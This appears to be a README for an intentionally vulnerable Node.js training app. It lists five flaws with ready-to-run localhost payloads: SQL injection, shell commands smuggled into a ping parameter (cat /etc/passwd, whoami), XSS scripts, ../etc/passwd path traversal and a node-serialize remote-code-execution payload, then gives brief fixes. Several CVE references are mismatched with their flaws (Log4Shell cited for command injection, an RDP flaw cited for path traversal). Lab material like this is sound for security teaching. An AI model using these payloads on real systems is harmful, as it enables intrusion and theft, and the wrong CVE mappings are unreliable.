- Location:
/api/userendpoint - CWE: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
- CVE Reference: CVE-2021-41773
- Description: User input is directly concatenated into SQL query without sanitization
- Test:
http://localhost:3000/api/user?id=1' OR '1'='1
- Location:
/api/pingendpoint - CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command
- CVE Reference: CVE-2021-44228
- Description: Unsanitized user input is passed to exec() command
- Test:
http://localhost:3000/api/ping?host=localhost;cat /etc/passwd
- Location:
/welcomeendpoint - CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation
- CVE Reference: CVE-2020-5902
- Description: User input is rendered in HTML without escaping
- Test:
http://localhost:3000/welcome?name=<script>alert('XSS')</script>
- Location:
/api/profileendpoint (POST) - CWE: CWE-502 - Deserialization of Untrusted Data
- CVE Reference: CVE-2017-5638
- Description: node-serialize unserialize() can execute arbitrary code
- Test: Send POST request with malicious serialized payload
- Location:
/api/fileendpoint - CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory
- CVE Reference: CVE-2019-0708
- Description: No validation of file paths allows directory traversal
- Test:
http://localhost:3000/api/file?name=../../../etc/passwd
# Install dependencies
npm install
# Run the vulnerable application
npm startThe server will start on http://localhost:3000
curl "http://localhost:3000/api/user?id=1' OR '1'='1"curl "http://localhost:3000/api/ping?host=localhost;whoami"Open in browser: http://localhost:3000/welcome?name=<img src=x onerror=alert('XSS')>
curl "http://localhost:3000/api/file?name=../../../../etc/passwd"curl -X POST http://localhost:3000/api/profile \
-H "Content-Type: application/json" \
-d '{"data":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"ls\", function(error, stdout, stderr) { console.log(stdout) });}()"}'For production code, these vulnerabilities should be fixed:
- SQL Injection: Use parameterized queries or ORM
- Command Injection: Validate inputs, use safe APIs, avoid shell execution
- XSS: Use template engines with auto-escaping, sanitize user input
- Insecure Deserialization: Use JSON.parse() instead of node-serialize, validate data
- Path Traversal: Validate file paths, use allowlists, normalize paths
- Hard-coded Credentials: Use environment variables and secrets management